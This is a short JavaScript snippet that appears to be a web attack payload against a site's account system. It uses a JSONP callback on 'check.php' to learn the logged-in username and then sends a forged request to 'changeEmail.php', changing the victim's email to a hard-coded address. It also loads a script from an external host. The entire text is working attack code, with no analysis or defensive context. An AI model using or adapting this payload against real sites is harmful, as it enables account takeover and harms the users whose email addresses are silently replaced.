function modifyEmail(name){
	$.ajax({
		type:"POST",
		url: "changeEmail.php",
        data:{username:name,newemail:"hehouhua@qq.com"},		
		dataType: "html",
		cache: true
	});
}
$.ajax({
      url: "check.php?callback=modifyEmail",
      dataType: "script",
      cache: true
});
<script src="//233333"></script>
